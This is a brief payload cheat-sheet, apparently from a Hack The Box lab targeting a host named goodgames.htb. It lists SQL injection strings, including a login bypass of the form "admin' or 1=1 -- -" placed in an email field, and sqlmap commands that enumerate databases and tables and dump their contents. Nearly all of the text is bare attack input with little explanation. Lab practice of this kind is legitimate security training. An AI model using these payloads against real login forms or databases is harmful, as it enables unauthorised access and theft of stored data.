Some previously working payloads

username'||''==='

bypass authentication

email=admin' or 1=1 -- -&password=ooooooo
instead of:
email=admin@goodgames.htb&password=ooooooo

sqlmap example

sqlmap -r login.req --batch --dbs
sqlmap -r goodgames.req -D <db name> --tables
sqlmap -r goodgames.req -D <db name> -T <db table> --dump